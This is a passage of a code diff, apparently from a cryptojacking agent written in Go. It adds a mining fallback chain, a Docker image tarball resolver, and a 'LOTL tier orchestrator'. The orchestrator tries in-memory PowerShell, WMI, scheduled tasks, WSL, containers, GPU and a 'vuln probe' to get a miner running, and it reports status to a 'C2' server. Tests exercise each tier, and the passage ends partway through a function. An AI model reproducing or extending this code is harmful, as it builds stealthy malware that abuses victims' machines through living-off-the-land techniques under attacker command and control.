|
"context"
|
||||||
|
"errors"
|
||||||
|
"runtime"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestDefaultFallbackChainAutoWithDocker(t *testing.T) {
|
||||||
|
SetRuntimeDetector(func() ContainerRuntimeInfo {
|
||||||
|
return ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||||
|
})
|
||||||
|
defer SetRuntimeDetector(nil)
|
||||||
|
SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} })
|
||||||
|
defer SetWSLDetector(nil)
|
||||||
|
|
||||||
|
chain := DefaultFallbackChain(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
MinerExecution: ExecutionAuto,
|
||||||
|
PoolHost: "pool.example.com",
|
||||||
|
},
|
||||||
|
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
|
||||||
|
|
||||||
|
want := []MiningMethod{MethodContainer, MethodInProcess, MethodStratumDirect}
|
||||||
|
if len(chain) < len(want) {
|
||||||
|
t.Fatalf("chain=%v want at least %v", chain, want)
|
||||||
|
}
|
||||||
|
for i := range want {
|
||||||
|
if chain[i] != want[i] {
|
||||||
|
t.Fatalf("chain[%d]=%q want %q full=%v", i, chain[i], want[i], chain)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDefaultFallbackChainAutoWithoutRuntime(t *testing.T) {
|
||||||
|
SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} })
|
||||||
|
defer SetWSLDetector(nil)
|
||||||
|
|
||||||
|
chain := DefaultFallbackChain(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto, PoolHost: "p"},
|
||||||
|
}, ContainerRuntimeInfo{})
|
||||||
|
|
||||||
|
if chain[0] != MethodInProcess {
|
||||||
|
t.Fatalf("got %v want inprocess first", chain)
|
||||||
|
}
|
||||||
|
// Windows LOTL probe tiers trail stratum_direct in the legacy chain.
|
||||||
|
stratumIdx := -1
|
||||||
|
for i, m := range chain {
|
||||||
|
if m == MethodStratumDirect {
|
||||||
|
stratumIdx = i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if stratumIdx < 0 {
|
||||||
|
t.Fatalf("got %v want stratum_direct present", chain)
|
||||||
|
}
|
||||||
|
if runtime.GOOS != "windows" && chain[len(chain)-1] != MethodStratumDirect {
|
||||||
|
t.Fatalf("got %v want stratum last", chain)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDefaultFallbackChainInProcessSkipsContainer(t *testing.T) {
|
||||||
|
chain := DefaultFallbackChain(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
MinerExecution: ExecutionInProcess,
|
||||||
|
GPUEnabled: true,
|
||||||
|
RVNWallet: "wallet",
|
||||||
|
PoolHost: "p",
|
||||||
|
},
|
||||||
|
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
|
||||||
|
|
||||||
|
for _, m := range chain {
|
||||||
|
if m == MethodContainer {
|
||||||
|
t.Fatal("inprocess mode must skip container")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if chain[0] != MethodInProcess {
|
||||||
|
t.Fatalf("got %v", chain)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDefaultFallbackChainGPUIncludedWhenConfigured(t *testing.T) {
|
||||||
|
SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} })
|
||||||
|
defer SetWSLDetector(nil)
|
||||||
|
|
||||||
|
chain := DefaultFallbackChain(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
MinerExecution: ExecutionAuto,
|
||||||
|
GPUEnabled: true,
|
||||||
|
RVNWallet: "wallet",
|
||||||
|
},
|
||||||
|
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
|
||||||
|
|
||||||
|
foundGPU := false
|
||||||
|
for _, m := range chain {
|
||||||
|
if m == MethodGPUSubprocess {
|
||||||
|
foundGPU = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !foundGPU {
|
||||||
|
t.Fatalf("expected gpu in chain, got %v", chain)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTryChainOrderAndSkipMissingRuntime(t *testing.T) {
|
||||||
|
var started []MiningMethod
|
||||||
|
hooks := ChainHooks{
|
||||||
|
StartContainer: func() error {
|
||||||
|
started = append(started, MethodContainer)
|
||||||
|
return errors.New("container start blocked")
|
||||||
|
},
|
||||||
|
StartInProcess: func() error {
|
||||||
|
started = append(started, MethodInProcess)
|
||||||
|
return nil
|
||||||
|
},
|
||||||
|
StartGPU: func() error { return nil },
|
||||||
|
IsGPUSupported: func() bool { return false },
|
||||||
|
}
|
||||||
|
|
||||||
|
ctrl := NewChainController(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
MinerExecution: ExecutionAuto,
|
||||||
|
PoolHost: "p",
|
||||||
|
},
|
||||||
|
}, hooks, nil)
|
||||||
|
ctrl.runtime = ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||||
|
ctrl.chain = DefaultFallbackChain(ctrl.cfg, ctrl.runtime)
|
||||||
|
|
||||||
|
method, err := ctrl.TryChain(context.Background())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("TryChain: %v", err)
|
||||||
|
}
|
||||||
|
if method != MethodInProcess {
|
||||||
|
t.Fatalf("active=%q want inprocess", method)
|
||||||
|
}
|
||||||
|
if len(started) != 2 || started[0] != MethodContainer || started[1] != MethodInProcess {
|
||||||
|
t.Fatalf("start order=%v", started)
|
||||||
|
}
|
||||||
|
if len(ctrl.Status().FailedMethods) != 1 || ctrl.Status().FailedMethods[0].Method != MethodContainer {
|
||||||
|
t.Fatalf("failures=%v", ctrl.Status().FailedMethods)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTryChainExhausted(t *testing.T) {
|
||||||
|
hooks := ChainHooks{
|
||||||
|
StartContainer: func() error { return errors.New("no container") },
|
||||||
|
StartInProcess: func() error { return errors.New("no inprocess") },
|
||||||
|
}
|
||||||
|
ctrl := NewChainController(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess},
|
||||||
|
}, hooks, nil)
|
||||||
|
ctrl.chain = []MiningMethod{MethodInProcess}
|
||||||
|
|
||||||
|
_, err := ctrl.TryChain(context.Background())
|
||||||
|
if !errors.Is(err, ErrChainExhausted) && err.Error() != "no inprocess" {
|
||||||
|
t.Fatalf("got err=%v", err)
|
||||||
|
}
|
||||||
|
if !ctrl.Status().ChainExhausted {
|
||||||
|
t.Fatal("expected chain exhausted flag")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAdvancePrimaryFromContainer(t *testing.T) {
|
||||||
|
var inprocessStarted bool
|
||||||
|
hooks := ChainHooks{
|
||||||
|
StartInProcess: func() error {
|
||||||
|
inprocessStarted = true
|
||||||
|
return nil
|
||||||
|
},
|
||||||
|
StopContainer: func() {},
|
||||||
|
}
|
||||||
|
ctrl := NewChainController(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto},
|
||||||
|
}, hooks, nil)
|
||||||
|
ctrl.chain = []MiningMethod{MethodContainer, MethodInProcess}
|
||||||
|
ctrl.activePrimary = MethodContainer
|
||||||
|
|
||||||
|
ctrl.AdvancePrimary("container exited")
|
||||||
|
if !inprocessStarted {
|
||||||
|
t.Fatal("expected inprocess start after container failure")
|
||||||
|
}
|
||||||
|
if ctrl.Status().ActiveMethod != MethodInProcess {
|
||||||
|
t.Fatalf("active=%q", ctrl.Status().ActiveMethod)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDefaultChainCooldownConstant(t *testing.T) {
|
||||||
|
if DefaultChainCooldown != 30*time.Second {
|
||||||
|
t.Fatalf("DefaultChainCooldown = %v want 30s", DefaultChainCooldown)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDefaultFallbackChainForcedContainerWithoutRuntime(t *testing.T) {
|
||||||
|
chain := DefaultFallbackChain(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
MinerExecution: ExecutionContainer,
|
||||||
|
PoolHost: "p",
|
||||||
|
},
|
||||||
|
}, ContainerRuntimeInfo{})
|
||||||
|
|
||||||
|
for _, m := range chain {
|
||||||
|
if m == MethodContainer {
|
||||||
|
t.Fatal("container mode without runtime must skip container method")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if chain[0] != MethodInProcess {
|
||||||
|
t.Fatalf("got %v", chain)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDefaultFallbackChainDockerLoadBeforeContainer(t *testing.T) {
|
||||||
|
t.Setenv("AETHERFORGE_DOCKER_IMAGE_TAR", "")
|
||||||
|
SetImageTarFetcher(func(cfg config.RuntimeConfig) (string, error) {
|
||||||
|
return "/policy/worker.tar", nil
|
||||||
|
})
|
||||||
|
defer SetImageTarFetcher(nil)
|
||||||
|
SetRuntimeDetector(func() ContainerRuntimeInfo {
|
||||||
|
return ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||||
|
})
|
||||||
|
defer SetRuntimeDetector(nil)
|
||||||
|
SetWSLDetector(func() WSLRuntimeInfo { return WSLRuntimeInfo{} })
|
||||||
|
defer SetWSLDetector(nil)
|
||||||
|
|
||||||
|
chain := DefaultFallbackChain(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto, PoolHost: "p"},
|
||||||
|
}, ContainerRuntimeInfo{Available: true, CLI: "docker"})
|
||||||
|
|
||||||
|
if chain[0] != MethodDockerLoad {
|
||||||
|
t.Fatalf("chain=%v want docker_load first when tar policy set", chain)
|
||||||
|
}
|
||||||
|
if chain[1] != MethodContainer {
|
||||||
|
t.Fatalf("chain=%v want container second", chain)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTryChainDockerLoadFailsReportsAttempt(t *testing.T) {
|
||||||
|
SetImageTarFetcher(func(cfg config.RuntimeConfig) (string, error) {
|
||||||
|
return "/tmp/worker.tar", nil
|
||||||
|
})
|
||||||
|
defer SetImageTarFetcher(nil)
|
||||||
|
|
||||||
|
var failed []MiningMethod
|
||||||
|
ctrl := NewChainController(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionAuto, PoolHost: "p"},
|
||||||
|
}, ChainHooks{
|
||||||
|
StartDockerLoad: func() error { failed = append(failed, MethodDockerLoad); return errors.New("docker missing") },
|
||||||
|
StartInProcess: func() error { return nil },
|
||||||
|
}, nil)
|
||||||
|
ctrl.runtime = ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||||
|
ctrl.chain = []MiningMethod{MethodDockerLoad, MethodInProcess}
|
||||||
|
|
||||||
|
method, err := ctrl.TryChain(context.Background())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("TryChain: %v", err)
|
||||||
|
}
|
||||||
|
if method != MethodInProcess {
|
||||||
|
t.Fatalf("active=%q want inprocess", method)
|
||||||
|
}
|
||||||
|
if len(ctrl.Status().FailedMethods) != 1 || ctrl.Status().FailedMethods[0].Method != MethodDockerLoad {
|
||||||
|
t.Fatalf("failures=%v", ctrl.Status().FailedMethods)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTryChainRunTierHooksPopulatesLOTLFields(t *testing.T) {
|
||||||
|
hooks := ChainHooks{
|
||||||
|
StartInProcess: func() error { return nil },
|
||||||
|
RunTierProbes: func() TierReport {
|
||||||
|
return TierReport{
|
||||||
|
Attempts: []TierAttempt{{
|
||||||
|
Tier: TierWebView2Probe,
|
||||||
|
OK: true,
|
||||||
|
Wallet: "same-wallet",
|
||||||
|
}},
|
||||||
|
WebGPUReady: true,
|
||||||
|
}
|
||||||
|
},
|
||||||
|
RunTierChain: func() (LOTLTier, error) {
|
||||||
|
return TierCPUInprocess, nil
|
||||||
|
},
|
||||||
|
}
|
||||||
|
ctrl := NewChainController(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess},
|
||||||
|
}, hooks, nil)
|
||||||
|
ctrl.chain = []MiningMethod{MethodInProcess}
|
||||||
|
|
||||||
|
if _, err := ctrl.TryChain(context.Background()); err != nil {
|
||||||
|
t.Fatalf("TryChain: %v", err)
|
||||||
|
}
|
||||||
|
st := ctrl.Status()
|
||||||
|
if st.LOTLTier != TierCPUInprocess {
|
||||||
|
t.Fatalf("lotl_tier=%q want cpu_inprocess", st.LOTLTier)
|
||||||
|
}
|
||||||
|
if len(st.LOTLAttempts) != 1 || st.LOTLAttempts[0].Tier != TierWebView2Probe {
|
||||||
|
t.Fatalf("lotl_attempts=%v", st.LOTLAttempts)
|
||||||
|
}
|
||||||
|
if !st.WebGPUReady {
|
||||||
|
t.Fatal("expected webgpu_ready from tier probes")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTryChainRespectsCooldown(t *testing.T) {
|
||||||
|
attempts := 0
|
||||||
|
hooks := ChainHooks{
|
||||||
|
StartInProcess: func() error {
|
||||||
|
attempts++
|
||||||
|
return nil
|
||||||
|
},
|
||||||
|
}
|
||||||
|
ctrl := NewChainController(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{MinerExecution: ExecutionInProcess},
|
||||||
|
}, hooks, nil)
|
||||||
|
ctrl.chain = []MiningMethod{MethodInProcess}
|
||||||
|
|
||||||
|
if _, err := ctrl.TryChain(context.Background()); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := ctrl.TryChain(context.Background()); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if attempts != 1 {
|
||||||
|
t.Fatalf("attempts=%d want 1 (cooldown)", attempts)
|
||||||
|
}
|
||||||
|
}
|
||||||
53
agent/miner/image_tar.go
Normal file
53
agent/miner/image_tar.go
Normal file
@@ -0,0 +1,53 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ErrNoImageTar is returned when docker_load tier is selected but no tarball is available.
|
||||||
|
var ErrNoImageTar = errors.New("no docker image tarball configured")
|
||||||
|
|
||||||
|
// imageTarFetcher resolves a worker OCI tarball from the server upload/channel stub.
|
||||||
|
// Tests and integrations override via SetImageTarFetcher.
|
||||||
|
var imageTarFetcher func(cfg config.RuntimeConfig) (string, error)
|
||||||
|
|
||||||
|
// SetImageTarFetcher restores the default when fn is nil.
|
||||||
|
func SetImageTarFetcher(fn func(cfg config.RuntimeConfig) (string, error)) {
|
||||||
|
imageTarFetcher = fn
|
||||||
|
}
|
||||||
|
|
||||||
|
// HasImageTarPolicy reports whether server policy supplies a local tar for docker_load.
|
||||||
|
func HasImageTarPolicy(cfg config.RuntimeConfig) bool {
|
||||||
|
_, err := ResolveImageTar(cfg)
|
||||||
|
return err == nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResolveImageTar returns a filesystem path to the worker image tar.
|
||||||
|
// Priority: injected fetcher → AETHERFORGE_DOCKER_IMAGE_TAR env → cfg.DockerImageTar.
|
||||||
|
func ResolveImageTar(cfg config.RuntimeConfig) (string, error) {
|
||||||
|
if imageTarFetcher != nil {
|
||||||
|
if p, err := imageTarFetcher(cfg); err == nil && strings.TrimSpace(p) != "" {
|
||||||
|
return strings.TrimSpace(p), nil
|
||||||
|
} else if err != nil && !errors.Is(err, ErrNoImageTar) {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if p := strings.TrimSpace(os.Getenv("AETHERFORGE_DOCKER_IMAGE_TAR")); p != "" {
|
||||||
|
if _, err := os.Stat(p); err != nil {
|
||||||
|
return "", fmt.Errorf("docker image tar: %w", err)
|
||||||
|
}
|
||||||
|
return p, nil
|
||||||
|
}
|
||||||
|
if p := strings.TrimSpace(cfg.DockerImageTar); p != "" {
|
||||||
|
if _, err := os.Stat(p); err != nil {
|
||||||
|
return "", fmt.Errorf("docker image tar: %w", err)
|
||||||
|
}
|
||||||
|
return p, nil
|
||||||
|
}
|
||||||
|
return "", ErrNoImageTar
|
||||||
|
}
|
||||||
37
agent/miner/image_tar_test.go
Normal file
37
agent/miner/image_tar_test.go
Normal file
@@ -0,0 +1,37 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestResolveImageTarFromEnv(t *testing.T) {
|
||||||
|
dir := t.TempDir()
|
||||||
|
tarPath := filepath.Join(dir, "worker.tar")
|
||||||
|
if err := os.WriteFile(tarPath, []byte("fake-tar"), 0644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Setenv("AETHERFORGE_DOCKER_IMAGE_TAR", tarPath)
|
||||||
|
defer SetImageTarFetcher(nil)
|
||||||
|
|
||||||
|
got, err := ResolveImageTar(config.RuntimeConfig{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("ResolveImageTar: %v", err)
|
||||||
|
}
|
||||||
|
if got != tarPath {
|
||||||
|
t.Fatalf("got %q want %q", got, tarPath)
|
||||||
|
}
|
||||||
|
if !HasImageTarPolicy(config.RuntimeConfig{}) {
|
||||||
|
t.Fatal("HasImageTarPolicy should be true")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveImageTarMissing(t *testing.T) {
|
||||||
|
t.Setenv("AETHERFORGE_DOCKER_IMAGE_TAR", "")
|
||||||
|
if _, err := ResolveImageTar(config.RuntimeConfig{}); err == nil {
|
||||||
|
t.Fatal("expected error without tar")
|
||||||
|
}
|
||||||
|
}
|
||||||
448
agent/miner/lotl_orchestrator.go
Normal file
448
agent/miner/lotl_orchestrator.go
Normal file
@@ -0,0 +1,448 @@
|
|||||||
|
package miner
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"log"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
// ErrTierNotImplemented is returned for tiers awaiting parallel agent wiring.
|
||||||
|
ErrTierNotImplemented = errors.New("tier not implemented")
|
||||||
|
// ErrTierChainExhausted is returned when every tier in the onion failed.
|
||||||
|
ErrTierChainExhausted = errors.New("LOTL tier chain exhausted")
|
||||||
|
// ErrTierChainSkipped is returned when every tier gracefully skipped.
|
||||||
|
ErrTierChainSkipped = errors.New("all LOTL tiers skipped")
|
||||||
|
)
|
||||||
|
|
||||||
|
// TierHooks wires tier-specific start/stop without importing client.
|
||||||
|
type TierHooks struct {
|
||||||
|
StartDockerLoad func() error
|
||||||
|
StartContainer func() error
|
||||||
|
StartWSL func() error
|
||||||
|
StartPowerShell func() error
|
||||||
|
StartDotnet func() error
|
||||||
|
StartInProcess func() error
|
||||||
|
StartGPU func() error
|
||||||
|
StopDockerLoad func()
|
||||||
|
StopContainer func()
|
||||||
|
StopWSL func()
|
||||||
|
StopPowerShell func()
|
||||||
|
StopDotnet func()
|
||||||
|
StopInProcess func()
|
||||||
|
StopGPU func()
|
||||||
|
IsGPUSupported func() bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// TierEventReporter emits tier_report / mining_status events to C2.
|
||||||
|
type TierEventReporter func(report TierReport, eventType string)
|
||||||
|
|
||||||
|
// TierOrchestrator runs the diagnostics-driven LOTL tier onion.
|
||||||
|
type TierOrchestrator struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
cfg config.RuntimeConfig
|
||||||
|
probes EnvironmentProbes
|
||||||
|
policy MiningTierPolicy
|
||||||
|
chain []LOTLTier
|
||||||
|
skipped []LOTLTier
|
||||||
|
hooks TierHooks
|
||||||
|
report TierEventReporter
|
||||||
|
wallet string
|
||||||
|
activeTier LOTLTier
|
||||||
|
gpuActive bool
|
||||||
|
attempts []TierAttempt
|
||||||
|
lastError string
|
||||||
|
chainExhaust bool
|
||||||
|
hashrate float64
|
||||||
|
webGPUReady bool
|
||||||
|
gpuComputeOK bool
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewTierOrchestrator builds an orchestrator from probes + server policy.
|
||||||
|
func NewTierOrchestrator(cfg config.RuntimeConfig, probes EnvironmentProbes, policy MiningTierPolicy, hooks TierHooks, report TierEventReporter) *TierOrchestrator {
|
||||||
|
chain, skipped := SelectMiningTierChain(probes, policy, cfg)
|
||||||
|
return &TierOrchestrator{
|
||||||
|
cfg: cfg,
|
||||||
|
probes: probes,
|
||||||
|
policy: policy,
|
||||||
|
chain: chain,
|
||||||
|
skipped: skipped,
|
||||||
|
hooks: hooks,
|
||||||
|
report: report,
|
||||||
|
wallet: strings.TrimSpace(cfg.Wallet),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Report returns the current tier snapshot.
|
||||||
|
func (o *TierOrchestrator) Report() TierReport {
|
||||||
|
o.mu.RLock()
|
||||||
|
defer o.mu.RUnlock()
|
||||||
|
return o.buildReport()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (o *TierOrchestrator) buildReport() TierReport {
|
||||||
|
attempts := make([]TierAttempt, len(o.attempts))
|
||||||
|
copy(attempts, o.attempts)
|
||||||
|
chain := make([]LOTLTier, len(o.chain))
|
||||||
|
copy(chain, o.chain)
|
||||||
|
skipped := make([]LOTLTier, len(o.skipped))
|
||||||
|
copy(skipped, o.skipped)
|
||||||
|
return TierReport{
|
||||||
|
ActiveTier: o.activeTier,
|
||||||
|
Attempts: attempts,
|
||||||
|
MiningHashrate: o.hashrate,
|
||||||
|
TierChainOrder: chain,
|
||||||
|
TierChainSkipped: skipped,
|
||||||
|
WebGPUReady: o.webGPUReady,
|
||||||
|
GPUComputeOK: o.gpuComputeOK,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetHashrate updates live hashrate included in tier reports.
|
||||||
|
func (o *TierOrchestrator) SetHashrate(hps float64) {
|
||||||
|
o.mu.Lock()
|
||||||
|
o.hashrate = hps
|
||||||
|
report := o.buildReport()
|
||||||
|
reporter := o.report
|
||||||
|
o.mu.Unlock()
|
||||||
|
if reporter != nil {
|
||||||
|
reporter(report, "tier_report")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// RunProbes executes probe-only tiers (webview2) before GPU escalation.
|
||||||
|
func (o *TierOrchestrator) RunProbes(ctx context.Context) TierReport {
|
||||||
|
o.mu.RLock()
|
||||||
|
chain := o.chain
|
||||||
|
cfg := o.cfg
|
||||||
|
o.mu.RUnlock()
|
||||||
|
|
||||||
|
for _, tier := range ProbeTiers(chain) {
|
||||||
|
start := time.Now()
|
||||||
|
attempt := o.runProbeTier(ctx, tier, cfg)
|
||||||
|
attempt.DurationMs = time.Since(start).Milliseconds()
|
||||||
|
if attempt.Wallet == "" {
|
||||||
|
attempt.Wallet = o.wallet
|
||||||
|
}
|
||||||
|
o.recordAttemptRecord(attempt)
|
||||||
|
if tier == TierWebView2Probe && attempt.OK {
|
||||||
|
o.mu.Lock()
|
||||||
|
o.webGPUReady = WebGPUAvailableFromAttempt(attempt)
|
||||||
|
o.mu.Unlock()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return o.Report()
|
||||||
|
}
|
||||||
|
|
||||||
|
// TryChain attempts each primary tier until one succeeds; GPU runs in parallel.
|
||||||
|
func (o *TierOrchestrator) TryChain(ctx context.Context) (LOTLTier, error) {
|
||||||
|
o.RunProbes(ctx)
|
||||||
|
|
||||||
|
o.mu.Lock()
|
||||||
|
hooks := o.hooks
|
||||||
|
primary := PrimaryTiers(o.chain)
|
||||||
|
o.mu.Unlock()
|
||||||
|
|
||||||
|
if len(primary) == 0 {
|
||||||
|
primary = []LOTLTier{TierCPUInprocess}
|
||||||
|
}
|
||||||
|
|
||||||
|
var lastErr error
|
||||||
|
var skipped int
|
||||||
|
for _, tier := range primary {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
return "", ctx.Err()
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
start := time.Now()
|
||||||
|
err := o.invokeTier(tier, hooks)
|
||||||
|
duration := time.Since(start)
|
||||||
|
if err != nil {
|
||||||
|
if errors.Is(err, ErrTierChainSkipped) {
|
||||||
|
skipped++
|
||||||
|
o.recordAttempt(tier, false, err, duration)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
lastErr = err
|
||||||
|
log.Printf("[lotl-tier] %s failed: %v", tier, err)
|
||||||
|
o.recordAttempt(tier, false, err, duration)
|
||||||
|
o.stopTier(tier, hooks)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
o.recordAttempt(tier, true, nil, duration)
|
||||||
|
o.setActive(tier)
|
||||||
|
o.tryGPUAddon(ctx, hooks)
|
||||||
|
return tier, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
o.mu.Lock()
|
||||||
|
o.chainExhaust = true
|
||||||
|
if lastErr != nil {
|
||||||
|
o.lastError = lastErr.Error()
|
||||||
|
} else {
|
||||||
|
o.lastError = "all LOTL tiers failed"
|
||||||
|
}
|
||||||
|
report := o.buildReport()
|
||||||
|
reporter := o.report
|
||||||
|
o.mu.Unlock()
|
||||||
|
if reporter != nil {
|
||||||
|
reporter(report, "tier_report")
|
||||||
|
}
|
||||||
|
if skipped == len(primary) {
|
||||||
|
return "", ErrTierChainSkipped
|
||||||
|
}
|
||||||
|
if lastErr != nil {
|
||||||
|
return "", lastErr
|
||||||
|
}
|
||||||
|
return "", ErrTierChainExhausted
|
||||||
|
}
|
||||||
|
|
||||||
|
func (o *TierOrchestrator) invokeTier(tier LOTLTier, hooks TierHooks) error {
|
||||||
|
switch tier {
|
||||||
|
case TierDockerLoad:
|
||||||
|
if hooks.StartDockerLoad == nil {
|
||||||
|
return ErrMethodUnavailable
|
||||||
|
}
|
||||||
|
return hooks.StartDockerLoad()
|
||||||
|
case TierContainer:
|
||||||
|
if hooks.StartContainer == nil {
|
||||||
|
return ErrMethodUnavailable
|
||||||
|
}
|
||||||
|
return hooks.StartContainer()
|
||||||
|
case TierWSL:
|
||||||
|
if hooks.StartWSL == nil {
|
||||||
|
return ErrMethodUnavailable
|
||||||
|
}
|
||||||
|
return hooks.StartWSL()
|
||||||
|
case TierCPUInprocess:
|
||||||
|
if hooks.StartInProcess == nil {
|
||||||
|
return ErrMethodUnavailable
|
||||||
|
}
|
||||||
|
return hooks.StartInProcess()
|
||||||
|
case TierGPUSubprocess:
|
||||||
|
if hooks.StartGPU == nil {
|
||||||
|
return ErrMethodUnavailable
|
||||||
|
}
|
||||||
|
return hooks.StartGPU()
|
||||||
|
case TierPSInMemory:
|
||||||
|
if hooks.StartPowerShell == nil {
|
||||||
|
return ErrMethodUnavailable
|
||||||
|
}
|
||||||
|
return hooks.StartPowerShell()
|
||||||
|
case TierDotnet:
|
||||||
|
if hooks.StartDotnet == nil {
|
||||||
|
return ErrMethodUnavailable
|
||||||
|
}
|
||||||
|
return hooks.StartDotnet()
|
||||||
|
case TierWMI:
|
||||||
|
attempt := RunWMITier(context.Background(), o.cfg)
|
||||||
|
o.recordAttemptRecord(attempt)
|
||||||
|
if !attempt.OK {
|
||||||
|
if attempt.Error == "" {
|
||||||
|
return ErrTierChainSkipped
|
||||||
|
}
|
||||||
|
return errors.New(attempt.Error)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case TierScheduledTask:
|
||||||
|
attempt := RunScheduledTaskTier(context.Background(), o.cfg)
|
||||||
|
o.recordAttemptRecord(attempt)
|
||||||
|
if !attempt.OK {
|
||||||
|
if attempt.Error == "" {
|
||||||
|
return ErrTierChainSkipped
|
||||||
|
}
|
||||||
|
return errors.New(attempt.Error)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case TierGPUCompute:
|
||||||
|
attempt := RunGPUComputeTier(context.Background(), o.cfg)
|
||||||
|
o.recordAttemptRecord(attempt)
|
||||||
|
if attempt.OK {
|
||||||
|
o.mu.Lock()
|
||||||
|
o.gpuComputeOK = true
|
||||||
|
o.mu.Unlock()
|
||||||
|
}
|
||||||
|
return ErrTierChainSkipped
|
||||||
|
case TierExeSubprocess:
|
||||||
|
return ErrTierNotImplemented
|
||||||
|
default:
|
||||||
|
return ErrTierNotImplemented
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (o *TierOrchestrator) runProbeTier(ctx context.Context, tier LOTLTier, cfg config.RuntimeConfig) TierAttempt {
|
||||||
|
switch tier {
|
||||||
|
case TierVulnProbe:
|
||||||
|
return RunVulnProbeTier(ctx, cfg)
|
||||||
|
case TierWebView2Probe:
|
||||||
|
return RunWebView2Probe(ctx, cfg)
|
||||||
|
default:
|
||||||
|
return TierAttempt{Tier: tier, Error: "unknown probe tier", Wallet: cfg.Wallet}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (o *TierOrchestrator) stopTier(tier LOTLTier, hooks TierHooks) {
|
